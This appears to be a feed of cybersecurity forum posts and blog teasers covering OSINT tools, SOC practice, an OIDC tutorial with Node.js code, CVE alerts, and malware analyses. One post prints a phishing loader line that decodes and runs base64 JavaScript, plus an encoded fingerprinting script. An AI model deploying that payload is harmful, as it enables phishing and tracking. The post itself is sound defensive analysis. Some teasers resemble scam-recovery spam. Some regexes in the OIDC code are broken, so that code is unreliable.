I kept getting overwhelmed by massive OSINT lists full of tools I never actually use. So I built a Chrome extension that launches user search queries across a small set of common platforms — grouped by type (social, dev, creative, etc.) and defined in a YAML file. It works with full names, partial usernames, or guesses. You type once — it opens all the relevant tabs. Saves time, and prompts pivots you'd normally skip because of effort. Pros: No backend. No tracking. No bloated UI. Just a flat launcher I use daily. Cons: UK-skewed (my context), and assumes you’re logged into most platforms. Find it on GitHub. Feedback welcome. Fork it or ignore it — it’s already more useful than 90% of my bookmarks. submitted by /u/Senior_Guidance_9508 [link] [comments]

If there is a cybersecurity podcast focusing SMBs with actionable insights, recommending open source and free solutions for security controls, playbook templates, tabletop exercises, would you be interested to listen? submitted by /u/tekybala [link] [comments]

I'm in a junior security role (intern level), and I’ve been questioning whether what I’m seeing is just normal growing pains in SOC life—or signs of a low-maturity, stagnant team. I'd love to hear what others think or what you've experienced at different orgs. Things that feel off to me: Alerting & Detection Logic A lot of our detections are straight from vendor blogs or community GitHub pages, slapped into the SIEM without much thought. When they’re noisy, the fix is usually to just tack on string exclusions instead of understanding the source of the noise. We end up with brittle, bloated queries that kind of work, but aren’t explainable or maintainable. No one ever really walks through the detection logic like “this is what this alert is trying to catch and why.” Overreliance on Public Hash Reputation There’s a habit of deciding whether a file is malicious just by checking its hash against public threat intel tools. If the hash comes out clean, that’s the end of the investigation—even if the file itself is something that obviously warrants deeper inspection. I’ve seen exclusions get added just because a hash had no flags, without understanding what the file actually does. For example a mingw32 compiler binary with a note saying "Hash checks come clean" like duh. Weak EDR Usage & Case Management Our EDR tool is decent, but it’s treated like a black box that runs itself. Cases get closed with a one-liner pasted from a .txt file, no assigned severity, no triage notes, no tagging. The case states are barely used—it just goes from “unresolved” to “resolved,” skipping the whole investigation phase. It feels like we’re just going through the motions. Strange Detection Philosophy There's a focus on detecting strings, filenames, or task names seen in prior malware samples instead of focusing on how an action was done. Example: scheduled tasks are flagged based on name lists, not behavior. When I brought up ideas like looking for schtasks being spawned by odd parent processes or in strange directories, it was kind of nodded at—but then dropped. No Real Engineering or Automation This one might bug me the most. There’s very little scripting or tooling being built internally. Everything is done manually—even repeatable tasks. I’ve dreamed of working on a team where people are like “Hey, I saw you struggling with that—here’s a script I made to do that in one line.” But here, no one builds that. No internal helpers. No automation to speak of, even for simple stuff like case note templates, IOC enrichment, or sandboxing integrations. 6. Lack of Curiosity / Deep Dive Culture When I try to bring up deeper concepts—like file header tampering, non-static indicators, or real-world evasions—I feel like I’m being seen as the “paranoid intern” who read too many threat reports. There’s little interest in reverse engineering or maldev techniques unless it’s something the vendor already wrote a blog post on. What I'm wondering: Is this kind of team environment common? How do I avoid landing in places like this in the future? Are there red flags I can watch for during interviews? Am I expecting too much from blue teams? I thought we were supposed to dig deep, build tools, and iterate on detections—not just patch alerts with string filters. Would love to hear from anyone who's seen both low and high-maturity SOCs—what does a good one feel like? submitted by /u/National-Serve-5041 [link] [comments]

Built a static scanner that combines a bunch of open source tools and produces a file for AI Code Editors/IDEs to easily read. I'd love some feedback from the community! https://github.com/AdarshB7/patcha-engine I think a tool like this can help a lot of people and am actively refining it to do so. Any help on the journey would be greatly appreciated. submitted by /u/AlternativeQuick4888 [link] [comments]

Hi all, I’m a founder (based in Europe) working on a new project to help organizations identify what assets — domains, cloud services, servers, etc.— are unintentionally exposed online. The tool is designed to be much simpler and more accessible than most enterprise solutions, with a focus on smaller teams and companies. I’m at the stage where real-world feedback is much more valuable than coding in a vacuum. If you work in IT, security or just enjoy testing new tools, I’d love to invite you to try it out and share your honest thoughts. No pitch, no spam, just actual user feedback to help shape the product. If this sounds interesting, please DM me and I’ll share early access details. Thanks a lot — and if this kind of post isn’t allowed, let me know and I’ll take it down. submitted by /u/Mattpeeters [link] [comments]

For those who have or are working in environments that have legacy systems or protocols (NetBios, SMB1, etc), what use cases do you have in place to detect suspicious activity? Or what would you recommend putting into place if the environment can't be cleaned up? submitted by /u/FluffyDontNut [link] [comments]

https://www.dailymail.co.uk/sciencetech/article-14631849/warning-google-gmail-users-attack-personal-information.html submitted by /u/Positive-Share-8742 [link] [comments]

I know Redditors don't like vendor pitches disguised as helpful content. Don't want to promote anything in particular besides a single message. Skip to 2:23-mark to hear a CISO who has every reason to cut costs through AI (in the home building industry at a time where buying/remodeling homes has taken a big hit) talk about how he's using an AI SOC tool to do the opposite, hire and train an employee https://youtu.be/Kftlx75EThc?si=hWcJcX2Ii8CQRsqc&t=144 Only time will tell the full impact of AI, but at least if humans continue to use AI responsibly, good things can happen edit: "by a CISO" [facepalm] submitted by /u/ProphetSecurity [link] [comments]

Click here for more info on how to get your money back from Iceriver scam Continue reading on Medium »

I know it's a corporate report & all, but I still look forward to this every year. It's got a huge scope of data breaches underlying it that leads to some interesting findings. I really like the industry specific breakdowns as well. Hope this is of some use to y'all. Take care 🙂 submitted by /u/ticats88 [link] [comments]

Have you ever imagined your entire identity — your name, your birthday, your home address — typed out and posted online like a blog entry…Continue reading on Medium »

Cryptography is the science of securing information, ensuring that data remains confidential, unaltered, and authentic.Continue reading on Medium »

Cryptography is the science of securing information, ensuring that data remains confidential, unaltered, and authentic.Continue reading on Medium »

Continue reading on Medium »

Prologue: The Eternal Struggle of the Cyber KnightContinue reading on Medium »

Tehdit modelleme, genellikle yalnızca güvenlik uzmanlarına özgü karmaşık bir uygulama olarak görülür. Ancak bu algı yanıltıcıdır. Tehdit…Continue reading on Medium »

If you work in IT or manage infrastructure, you’ve probably done this before: you’re finished working on a server via Remote Desktop, so…Continue reading on Medium »

Scam platform, click here for more information Continue reading on Medium »

Similar to my last post, I was reading a lot about OIDC and created this explanation. It's a mix of the best resources I have found with some additions and a lot of rewriting. I have added a super short summary and a code example at the end. Maybe it helps one of you 🙂 This is the repo. OIDC Explained Let's say John is on LinkedIn and clicks 'Login with Google'. He is now logged in without that LinkedIn knows his password or any other sensitive data. Great! But how did that work? Via OpenID Connect (OIDC). This protocol builds on OAuth 2.0 and is the answer to above question. I will provide a super short and simple summary, a more detailed one and even a code snippet. You should know what OAuth and JWTs are because OIDC builds on them. If you're not familiar with OAuth, see my other guide here. Super Short Summary John clicks 'Login with Google' Now the usual OAuth process takes place John authorizes us to get data about his Google profile E.g. his email, profile picture, name and user id Important: Now Google not only sends LinkedIn the access token as specified in OAuth, but also a JWT. LinkedIn uses the JWT for authentication in the usual way E.g. John's browser saves the JWT in the cookies and sends it along every request he makes LinkedIn receives the token, verifies it, and sees "ah, this is indeed John" More Detailed Summary Suppose LinkedIn wants users to log in with their Google account to authenticate and retrieve profile info (e.g., name, email). LinkedIn sets up a Google API account and receives a client_id and a client_secret So Google knows this client id is LinkedIn John clicks 'Log in with Google' on LinkedIn. LinkedIn redirects to Google’s OIDC authorization endpoint: https://accounts.google.com/o/oauth2/auth?client_id=...&redirect_uri=...&scope=openid%20profile%20email&response_type=code As you see, LinkedIn passes client_id, redirect_id, scope and response_type as URL params Important: scope must include openid profile and email are optional but commonly used redirect_uri is where Google sends the response. John logs into Google Google asks: 'LinkedIn wants to access your Google Account', John clicks 'Allow' Google redirects to the specified redirect_uri with a one-time authorization code. For example: https://linkedin.com/oidc/callback?code=one_time_code_xyz LinkedIn makes a server-to-server request to Google It passes the one-time code, client_id, and client_secret in the request body Google responds with an access token and a JWT Finished. LinkedIn now uses the JWT for authentication and can use the access token to get more info about John's Google account Question: Why not already send the JWT and access token in step 6? Answer: To make sure that the requester is actually LinkedIn. So far, all requests to Google have come from the user's browser, with only the client_id identifying LinkedIn. Since the client_id isn't secret and could be guessed by an attacker, Google can't know for sure that it's actually LinkedIn behind this. Authorization servers (Google in this example) use predefined URIs. So LinkedIn needs to specify predefined URIs when setting up their Google API. And if the given redirect_uri is not among the predefined ones, then Google rejects the request. See here: https://datatracker.ietf.org/doc/html/rfc6749#section-3.1.2.2 Additionally, LinkedIn includes the client_secret in the server-to-server request. This, however, is mainly intended to protect against the case that somehow intercepted the one time code, so he can't use it. Addendum In step 8 LinkedIn also verifies the JWT's signature and claims. Usually in OIDC we use asymmetric encryption (Google does for example) to sign the JWT. The advantage of asymmetric encryption is that the JWT can be verified by anyone by using the public key, including LinkedIn. Ideally, Google also returns a refresh token. The JWT will work as long as it's valid, for example hasn't expired. After that, the user will need to redo the above process. The public keys are usually specified at the JSON Web Key Sets (JWKS) endpoint. Key Additions to OAuth 2.0 As we saw, OIDC extends OAuth 2.0. This guide is incomplete, so here are just a few of the additions that I consider key additions. ID Token The ID token is the JWT. It contains user identity data (e.g., sub for user ID, name, email). It's signed by the IdP (Identity provider, in our case Google) and verified by the client (in our case LinkedIn). The JWT is used for authentication. Hence, while OAuth is for authorization, OIDC is authentication. Don't confuse Access Token and ID Token: Access Token: Used to call Google APIs (e.g. to get more info about the user) ID Token: Used purely for authentication (so we know the user actually is John) Discovery Document OIDC providers like Google publish a JSON configuration at a standard URL: https://accounts.google.com/.well-known/openid-configuration This lists endpoints (e.g., authorization, token, UserInfo, JWKS) and supported features (e.g., scopes). LinkedIn can fetch this dynamically to set up OIDC without hardcoding URLs. UserInfo Endpoint OIDC standardizes a UserInfo endpoint (e.g., https://openidconnect.googleapis.com/v1/userinfo). LinkedIn can use the access token to fetch additional user data (e.g., name, picture), ensuring consistency across providers. Nonce To prevent replay attacks, LinkedIn includes a random nonce in the authorization request. Google embeds it in the ID token, and LinkedIn checks it matches during verification. Security Notes HTTPS: OIDC requires HTTPS for secure token transmission. State Parameter: Inherited from OAuth 2.0, it prevents CSRF attacks. JWT Verification: LinkedIn must validate JWT claims (e.g., iss, aud, exp, nonce) to ensure security. Code Example Below is a standalone Node.js example using Express to handle OIDC login with Google, storing user data in a SQLite database. Please note that this is just example code and some things are missing or can be improved. I also on purpose did not use the library openid-client so less things happen "behind the scenes" and the entire process is more visible. In production you would want to use openid-client or a similar library. Last note, I also don't enforce HTTPS here, which in production you really really should. ```javascript const express = require("express"); const axios = require("axios"); const sqlite3 = require("sqlite3").verbose(); const crypto = require("crypto"); const jwt = require("jsonwebtoken"); const session = require("express-session"); const jwkToPem = require("jwk-to-pem"); const app = express(); const db = new sqlite3.Database(":memory:"); // Configure session middleware app.use( session({ secret: process.env.SESSION_SECRET || "oidc-example-secret", resave: false, saveUninitialized: true, }) ); // Initialize database db.serialize(() => { db.run( "CREATE TABLE users (id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT, email TEXT)" ); db.run( "CREATE TABLE federated_credentials (user_id INTEGER, provider TEXT, subject TEXT, PRIMARY KEY (provider, subject))" ); }); // Configuration const CLIENT_ID = process.env.OIDC_CLIENT_ID; const CLIENT_SECRET = process.env.OIDC_CLIENT_SECRET; const REDIRECT_URI = "https://example.com/oidc/callback"; const ISSUER_URL = "https://accounts.google.com"; // OIDC discovery endpoints cache let oidcConfig = null; // Function to fetch OIDC configuration from the discovery endpoint async function fetchOIDCConfiguration() { if (oidcConfig) return oidcConfig; try { const response = await axios.get( ${ISSUER_URL}/.well-known/openid-configuration ); oidcConfig = response.data; return oidcConfig; } catch (error) { console.error("Failed to fetch OIDC configuration:", error); throw error; } } // Function to generate and verify PKCE challenge function generatePKCE() { // Generate code verifier const codeVerifier = crypto.randomBytes(32).toString("base64url"); // Generate code challenge (SHA256 hash of verifier, base64url encoded) const codeChallenge = crypto .createHash("sha256") .update(codeVerifier) .digest("base64") .replace(/+/g, "-") .replace(///g, "_") .replace(/=/g, ""); return { codeVerifier, codeChallenge }; } // Function to fetch JWKS async function fetchJWKS() { const config = await fetchOIDCConfiguration(); const response = await axios.get(config.jwks_uri); return response.data.keys; } // Function to verify ID token async function verifyIdToken(idToken) { // First, decode the header without verification to get the key ID (kid) const header = JSON.parse( Buffer.from(idToken.split(".")[0], "base64url").toString() ); // Fetch JWKS and find the correct key const jwks = await fetchJWKS(); const signingKey = jwks.find((key) => key.kid === header.kid); if (!signingKey) { throw new Error("Unable to find signing key"); } // Format key for JWT verification const publicKey = jwkToPem(signingKey); return new Promise((resolve, reject) => { jwt.verify( idToken, publicKey, { algorithms: [signingKey.alg], audience: CLIENT_ID, issuer: ISSUER_URL, }, (err, decoded) => { if (err) return reject(err); resolve(decoded); } ); }); } // OIDC login route app.get("/login", async (req, res) => { try { // Fetch OIDC configuration const config = await fetchOIDCConfiguration(); // Generate state for CSRF protection const state = crypto.randomBytes(16).toString("hex"); req.session.state = state; // Generate nonce for replay protection const nonce = crypto.randomBytes(16).toString("hex"); req.session.nonce = nonce; // Generate PKCE code verifier and challenge const { codeVerifier, codeChallenge } = generatePKCE(); req.session.codeVerifier = codeVerifier; // Build authorization URL const authUrl = new URL(config.authorization_endpoint); authUrl.searchParams.append("client_id", CLIENT_ID); authUrl.searchParams.append("redirect_uri", REDIRECT_URI); authUrl.searchParams.append("response_type", "code"); authUrl.searchParams.append("scope", "openid profile email"); authUrl.searchParams.append("state", state); authUrl.searchParams.append("nonce", nonce); authUrl.searchParams.append("code_challenge", codeChallenge); authUrl.searchParams.append("code_challenge_method", "S256"); res.redirect(authUrl.toString()); } catch (error) { console.error("Login initialization error:", error); res.status(500).send("Failed to initialize login"); } }); // OIDC callback route app.get("/oidc/callback", async (req, res) => { const { code, state } = req.query; const { codeVerifier, state: storedState, nonce: storedNonce } = req.session; // Verify state if (state !== storedState) { return res.status(403).send("Invalid state parameter"); } try { // Fetch OIDC configuration const config = await fetchOIDCConfiguration(); // Exchange code for tokens const tokenResponse = await axios.post( config.token_endpoint, new URLSearchParams({ grant_type: "authorization_code", client_id: CLIENT_ID, client_secret: CLIENT_SECRET, code, redirect_uri: REDIRECT_URI, code_verifier: codeVerifier, }), { headers: { "Content-Type": "application/x-www-form-urlencoded", }, } ); const { id_token, access_token } = tokenResponse.data; // Verify ID token const claims = await verifyIdToken(id_token); // Verify nonce if (claims.nonce !== storedNonce) { return res.status(403).send("Invalid nonce"); } // Extract user info from ID token const { sub: subject, name, email } = claims; // If we need more user info, we can fetch it from the userinfo endpoint // const userInfoResponse = await axios.get(config.userinfo_endpoint, { // headers: { Authorization: `Bearer ${access_token}` } // }); // const userInfo = userInfoResponse.data; // Check if user exists in federated_credentials db.get( "SELECT * FROM federated_credentials WHERE provider = ? AND subject = ?", [ISSUER_URL, subject], (err, cred) => { if (err) return res.status(500).send("Database error"); if (!cred) { // New user: create account db.run( "INSERT INTO users (name, email) VALUES (?, ?)", [name, email], function (err) { if (err) return res.status(500).send("Database error"); const userId = this.lastID; db.run( "INSERT INTO federated_credentials (user_id, provider, subject) VALUES (?, ?, ?)", [userId, ISSUER_URL, subject], (err) => { if (err) return res.status(500).send("Database error"); // Store user info in session req.session.user = { id: userId, name, email }; res.send(`Logged in as ${name} (${email})`); } ); } ); } else { // Existing user: fetch and log in db.get( "SELECT * FROM users WHERE id = ?", [cred.user_id], (err, user) => { if (err || !user) return res.status(500).send("Database error"); // Store user info in session req.session.user = { id: user.id, name: user.name, email: user.email, }; res.send(`Logged in as ${user.name} (${user.email})`); } ); } } ); } catch (error) { console.error("OIDC callback error:", error); res.status(500).send("OIDC authentication error"); } }); // User info endpoint (requires authentication) app.get("/userinfo", (req, res) => { if (!req.session.user) { return res.status(401).send("Not authenticated"); } res.json(req.session.user); }); // Logout endpoint app.get("/logout", async (req, res) => { try { // Fetch OIDC configuration to get end session endpoint const config = await fetchOIDCConfiguration(); let logoutUrl; if (config.end_session_endpoint) { logoutUrl = new URL(config.end_session_endpoint); logoutUrl.searchParams.append("client_id", CLIENT_ID); logoutUrl.searchParams.append( "post_logout_redirect_uri", "https://example.com" ); } // Clear the session req.session.destroy(() => { if (logoutUrl) { res.redirect(logoutUrl.toString()); } else { res.redirect("/"); } }); } catch (error) { console.error("Logout error:", error); // Even if there's an error fetching the config, // still clear the session and redirect req.session.destroy(() => { res.redirect("/"); }); } }); app.listen(3000, () => console.log("Server running on port 3000")); ``` License MIT submitted by /u/trolleid [link] [comments]

An Easy-to-Follow Guide to Online SecurityContinue reading on MeetCyber »

AI workloads on Oracle Cloud Infrastructure (OCI) are increasingly targeted by sophisticated attacks such as prompt injection, model…Continue reading on Medium »

This is a walkthrough of Wireshark: The Basics from TryHackMeContinue reading on Medium »

Meta recently patched a high-severity vulnerability in WhatsApp for Windows (CVE-2025-30401) that allowed attackers to execute malicious code on a target’s machine by sending spoofed file types. The exploit didn’t require the user to do anything beyond opening what looked like a harmless file. This makes it particularly dangerous for less tech-savvy users and internal teams not trained in threat detection. What is known: - Affected all WhatsApp for Windows versions prior to 2.2450.6 - Exploited using specially crafted files with manipulated extensions - Meta confirmed active exploitation before the patch was issued It’s a reminder that even popular desktop apps can become threat vectors when spoofing and user trust intersect. Were you or someone you know affected by this? Or have you seen this exploited in the wild in an org you work with? submitted by /u/bytelocksolutions [link] [comments]

Multi-tenancy is a core requirement in SAAS applications. Each customer (tenant) should only access their own data — and the best way to…Continue reading on Picus Security Engineering »

“We will not enjoy security without development, we will not enjoy development without security, and we will not enjoy without respect for…Continue reading on Medium »

The Rise of Ethical AI Intelligence in Digital StrategyContinue reading on Medium »

🧭 A Quick BackgroundContinue reading on Medium »

A comprehensive beginner-friendly guide on securing the MERN apps from vulnerabilities and attacksContinue reading on Code Like A Girl »

There’s so much noise from SAST, DAST, SCA, bug bounty, etc. Is anyone actually aggregating it all somewhere useful? Or are we all still stuck in spreadsheets and Jira hell? What actually works for your team (or doesn’t)? Curious to hear what setups people have landed on. submitted by /u/Major_Ideal1453 [link] [comments]

A safer way to install Python packages without compromising convenience (or losing your Bitcoin)Continue reading on Data Science Collective »

In a digital era dominated by rapid innovation, cybersecurity isn’t just a best practice — it’s survival. Michael Yonesi, a cybersecurity…Continue reading on Medium »

Yapay zekâ dünyasında şu sıralar en çok konuşulan konulardan biri: Anthropic’in geliştirdiği Model Context Protocol (MCP). Bu yeni…Continue reading on Medium »

Hey folks, A few days back, I observed something odd at work and wondered if anyone (especially MSFT/Entra ID experts) could help me figure it out because our IAM SME was lost. Our MDR sent an alert about a Suspicious email addition to one of our accounts. Seconds later, they let us know that the same email address was added to 500 different accounts as an MFA email authentication method, which makes me believe someone is looking for persistence in our environment. The email address added does not belong to our domain, and of course, no one recognizes it. The audit logs say the email address was added by "Azure Credential Configuration Endpoint Service," which, from the few things I read on the internet, seems a legitimate MSFT service. I believe this was done leveraging a misconfiguration in our environment, abusing a legitimate service but I'm not sure which one or where to look. I feel that Conditional Access Policies (CAP) might help here but I'm wondering where's the hole that I need to patch to prevent this. Any help will be duly appreciated. submitted by /u/Yae-ger [link] [comments]

submitted by /u/tekz [link] [comments]

This phishing technique uses system fingerprinting and geolocation to selectively deliver malicious content. In this case, the phishing page loads only for victims in Argentina, Brazil, and Middle East, as observed during analysis in ANYRUN Sandbox. Execution chain: HTML → Hidden IMG → data-digest → OnError → B64 decode → 𝗙𝗶𝗻𝗴𝗲𝗿𝗽𝗿𝗶𝗻𝘁 → POST → Geolocation match → Conditional redirect (non-matching users sent to Tesla or Emirates) → Tycoon2FA Here’s how it works: New domains registered via “Squarespace Domains” and hosted on ASN “AS-CHOOPA”. When visited, these domains immediately forward the user to well-known sites like Tesla, Emirates or SpaceX. Analysis: https://app.any.run/browses/d9b4ca48-5226-43c1-8232-40d51d37ec8e/ Right before a redirect, a hidden “img” tag is injected. Because the image doesn't exist, the onerror event is triggered: onerror="(new Function(atob(this.dataset.digest)))();" The event runs a fingerprinting script that collects: – Screen resolution, color depth, etс. – User agent, platform details, plugins – User’s local timezone offset – GPU vendor and renderer via WebGL A fingerprinting script in CyberChefJavaScript_Beautify('%20%20','Auto',true,true)Syntax_highlighter('javascript')&input=S0daMWJtTjBhVzl1S0NsN2RtRnlJR1U5VzEwc1lqMTdmVHQwY25sN1puVnVZM1JwYjI0Z1l5aGhLWHRwWmlnaWIySnFaV04wSWowOVBYUjVjR1Z2WmlCaEppWnVkV3hzSVQwOVlTbDdkbUZ5SUdZOWUzMDdablZ1WTNScGIyNGdiaWhzS1h0MGNubDdkbUZ5SUdzOVlWdHNYVHR6ZDJsMFkyZ29kSGx3Wlc5bUlHc3BlMk5oYzJVZ0ltOWlhbVZqZENJNmFXWW9iblZzYkQwOVBXc3BZbkpsWVdzN1kyRnpaU0FpWm5WdVkzUnBiMjRpT21zOWF5NTBiMU4wY21sdVp5Z3BmV1piYkYwOWEzMWpZWFJqYUNoMEtYdGxMbkIxYzJnb2RDNXRaWE56WVdkbEtYMTlabTl5S0haaGNpQmtJR2x1SUdFcGJpaGtLVHQwY25sN2RtRnlJR2M5VDJKcVpXTjBMbWRsZEU5M2JsQnliM0JsY25SNVRtRnRaWE1vWVNrN1ptOXlLR1E5TUR0a1BHY3ViR1Z1WjNSb095c3JaQ2x1S0dkYlpGMHBPMlpiSWlFaElsMDlaMzFqWVhSamFDaHNLWHRsTG5CMWMyZ29iQzV0WlhOellXZGxLWDF5WlhSMWNtNGdabjE5WWk1elkzSmxaVzQ5WXloM2FXNWtiM2N1YzJOeVpXVnVLVHRpTG5kcGJtUnZkejFqS0hkcGJtUnZkeWs3WWk1dVlYWnBaMkYwYjNJOVl5aDNhVzVrYjNjdWJtRjJhV2RoZEc5eUtUdGlMbXh2WTJGMGFXOXVQV01vZDJsdVpHOTNMbXh2WTJGMGFXOXVLVHRpTG1OdmJuTnZiR1U5WXloM2FXNWtiM2N1WTI5dWMyOXNaU2s3Q21JdVpHOWpkVzFsYm5SRmJHVnRaVzUwUFdaMWJtTjBhVzl1S0dFcGUzUnllWHQyWVhJZ1pqMTdmVHRoUFdFdVlYUjBjbWxpZFhSbGN6dG1iM0lvZG1GeUlHUWdhVzRnWVNsa1BXRmJaRjBzWmx0a0xtNXZaR1ZPWVcxbFhUMWtMbTV2WkdWV1lXeDFaVHR5WlhSMWNtNGdabjFqWVhSamFDaG5LWHRsTG5CMWMyZ29aeTV0WlhOellXZGxLWDE5S0dSdlkzVnRaVzUwTG1SdlkzVnRaVzUwUld4bGJXVnVkQ2s3WWk1a2IyTjFiV1Z1ZEQxaktHUnZZM1Z0Wlc1MEtUdDBjbmw3WWk1MGFXMWxlbTl1WlU5bVpuTmxkRDBvYm1WM0lFUmhkR1VwTG1kbGRGUnBiV1Y2YjI1bFQyWm1jMlYwS0NsOVkyRjBZMmdvWVNsN1pTNXdkWE5vS0dFdWJXVnpjMkZuWlNsOWRISjVlMkl1WTJ4dmMzVnlaVDFtZFc1amRHbHZiaWdwZTMwdWRHOVRkSEpwYm1jb0tYMWpZWFJqYUNoaEtYdGxMbkIxYzJnb1lTNXRaWE56WVdkbEtYMTBjbmw3WWk1bWNtRnRaVDEzYVc1a2IzY3VjMlZzWmlFOVBYZHBibVJ2ZHk1MGIzQjlZMkYwWTJnb1lTbDdZaTVtY21GdFpUMGhNSDEwY25sN1lpNTBiM1ZqYUVWMlpXNTBQV1J2WTNWdFpXNTBMbU55WldGMFpVVjJaVzUwS0NKVWIzVmphRVYyWlc1MElpa3VkRzlUZEhKcGJtY29LWDFqWVhSamFDaGhLWHRsTG5CMWMyZ29ZUzV0WlhOellXZGxLWDEwY25sN2RtRnlJSEE5Wm5WdVkzUnBiMjRvS1h0OUxBcHhQVEE3Y0M1MGIxTjBjbWx1WnoxbWRXNWpkR2x2YmlncGV5c3JjVHR5WlhSMWNtNGlJbjA3WTI5dWMyOXNaUzVzYjJjb2NDazdZaTUwYjNOMGNtbHVaejF4ZldOaGRHTm9LR0VwZTJVdWNIVnphQ2hoTG0xbGMzTmhaMlVwZlhSeWVYdDJZWElnYlQxa2IyTjFiV1Z1ZEM1amNtVmhkR1ZGYkdWdFpXNTBLQ0pqWVc1MllYTWlLUzVuWlhSRGIyNTBaWGgwS0NKM1pXSm5iQ0lwTEhJOWJTNW5aWFJGZUhSbGJuTnBiMjRvSWxkRlFrZE1YMlJsWW5WblgzSmxibVJsY21WeVgybHVabThpS1R0aUxuZGxZbWRzUFh0MlpXNWtiM0k2YlM1blpYUlFZWEpoYldWMFpYSW9jaTVWVGsxQlUwdEZSRjlXUlU1RVQxSmZWMFZDUjB3cExISmxibVJsY21WeU9tMHVaMlYwVUdGeVlXMWxkR1Z5S0hJdVZVNU5RVk5MUlVSZlVrVk9SRVZTUlZKZlYwVkNSMHdwZlgxallYUmphQ2hoS1h0bExuQjFjMmdvWVM1dFpYTnpZV2RsS1gxbWRXNWpkR2x2YmlCb0tHRXNaaXhrS1h0MllYSWdaejFoTG5CeWIzUnZkSGx3WlZ0bVhUdGhMbkJ5YjNSdmRIbHdaVnRtWFQxbWRXNWpkR2x2YmlncGUySXVjSEp2ZEc4OUlUQjlPMlFvS1R0aExuQnliM1J2ZEhsd1pWdG1YVDFuZlhSeWVYdG9LRUZ5Y21GNUxDSnBibU5zZFdSbGN5SXNablZ1WTNScGIyNG9LWHR5WlhSMWNtNGdaRzlqZFcxbGJuUXVZM0psWVhSbFJXeGxiV1Z1ZENnaWRtbGtaVzhpS1M1allXNVFiR0Y1Vkhsd1pTZ2lkbWxrWlc4dmJYQTBJaWw5S1gxallYUmphQ2hoS1h0OWZXTmhkR05vS0dNcGUyVXVjSFZ6YUNoakxtMWxjM05oWjJVcGZTaG1kVzVqZEdsdmJpZ3BlMkl1WlhKeWIzSnpQUXBsTzNaaGNpQmpQV1J2WTNWdFpXNTBMbU55WldGMFpVVnNaVzFsYm5Rb0ltWnZjbTBpS1N4b1BXUnZZM1Z0Wlc1MExtTnlaV0YwWlVWc1pXMWxiblFvSW1sdWNIVjBJaWs3WXk1dFpYUm9iMlE5SWxCUFUxUWlPMk11WVdOMGFXOXVQWGRwYm1SdmR5NXNiMk5oZEdsdmJpNW9jbVZtTzJndWRIbHdaVDBpYUdsa1pHVnVJanRvTG01aGJXVTlJbVJoZEdFaU8yZ3VkbUZzZFdVOVNsTlBUaTV6ZEhKcGJtZHBabmtvWWlrN1l5NWhjSEJsYm1SRGFHbHNaQ2hvS1R0a2IyTjFiV1Z1ZEM1aWIyUjVMbUZ3Y0dWdVpFTm9hV3hrS0dNcE8yTXVjM1ZpYldsMEtDbDlLU2dwZlNrb0tUc0s) Finally, an invisible form sends the collected to the server data via POST. If your fingerprint matches: – UTC-3 (Argentina, Brazil) – UTC+2 to +4 (UAE, etc.) The server responds with a Location header pointing to the phishing page: hxxps://zkw[.]idrvlqvkov[.]es/dGeaU/ See example: https://app.any.run/tasks/7c54c46d-285f-491c-ab50-6de1b7d3b376/ IOCs: 45[.]76[.]251[.]81 155[.]138[.]224[.]49 coldsekin[.]com kempiox[.]com kempigd[.]com ladipscsxc[.]co[.]uk lopocip[.]com munkepsx[.]com stealmarkso[.]com klassipon[.]com thartbenx[.]com alixation[.]co[.]uk taramikia[.]com submitted by /u/ANYRUN-team [link] [comments]

Here is a malicious npm package that DOES NOT trigger on installation. express-cookie-parser impersonates the popular npm package cookie-parser. But instead of dropping the payload during npm install like almost all other known malicious samples, it maintains API compatibility with the original cookie-parser package and drops the payload when the affected application loads this package using its exported API. Interesting behaviour that we observed DGA to generate C2 domain using SHA256 hash & key Self-delete, including removing reference from original index.js The core payload is conventional ie. downloads a startup.js from C2 URL, drops it into Google Chrome's user data directory and executes using Node executable in path. submitted by /u/N1ghtCod3r [link] [comments]

There's lots of competition between the security teams to show who is smart. submitted by /u/ConstructionSome9015 [link] [comments]

The decentralization of such an important pillar of Cybersecurity is great news. Many of us saw this coming since the NIS2 directive was announced in EU. The website is still beta, and the API implementation is on it's way. As they said, the idea is to integrate with the existing NVD established practices: Each vulnerability gets a unique EUVD ID (EUVD-2021-12345) Cross-references with existing CVEs Vulnerabilities are scored using CVSS Includes vulnerabilities reported by the CSIRT network, strengthening accuracy and relevance. EU Vulnerability Database from (ENISA) ----------------------------------------------------------------------------- Update from EUVD FAQ #1 and #4, it leverages on https://github.com/vulnerability-lookup/vulnerability-lookup submitted by /u/No-Key667 [link] [comments]

submitted by /u/Particular-Novel4963 [link] [comments]

I recently joined as SOC analyst and We have 30mins meeting every fortnight but we still don’t have anything to share. We’re just team of 3( manager,me and one more analyst) So wondering, what do you guys normally do? submitted by /u/Full-Bullfrog4707 [link] [comments]

In the past year my company was a victim to a severe cybersecurity breach, they almost got everything. While there were a ton of factors in play, like leadership shutting us down every step of the way in an attempt to move fast, lack of headcount, etc. I cannot stop beating myself over the fact that I hold a piece of a blame as a cybersecurity engineer. Whether it's a missed alert, or simply not putting two and two together at the time. It's severely impacted my mental health since it happened and makes me wonder if I'm not cut out to be a cyber security engineer. I know a lot of work environments are blameless and other engineers seem to be able to compartmentalize it but I can't. I'm sure I'm not the only person who has gone through this in this field. Does anyone who has experienced something similar have any guidance for someone relatively new to the field? submitted by /u/BillSecurityGuy [link] [comments]

An authentication bypass vulnerability in CrushFTP (CVE-2025-31161) is currently being exploited in the wild. It affects Versions 10.0.0 to 10.8.3 and versions 11.0.0 to 11.3.0. If exploited, it can allow attackers to access sensitive files without valid credentials and gain full system control depending on configuration Active exploitation has already been confirmed, yet it's flying under the radar. Recommended mitigation would be to upgrade to 10.8.4 or 11.3.1 ASAP. If patching isn’t possible, CrushFTP’s DMZ proxy can provide a temporary buffer. If you're running CrushFTP or know someone who is, now’s the time to double-check your version and get this patched. Wouldn’t be surprised if we see this pop up in a ransomware chain soon. submitted by /u/bytelocksolutions [link] [comments]

submitted by /u/Total_Purpose_8499 [link] [comments]

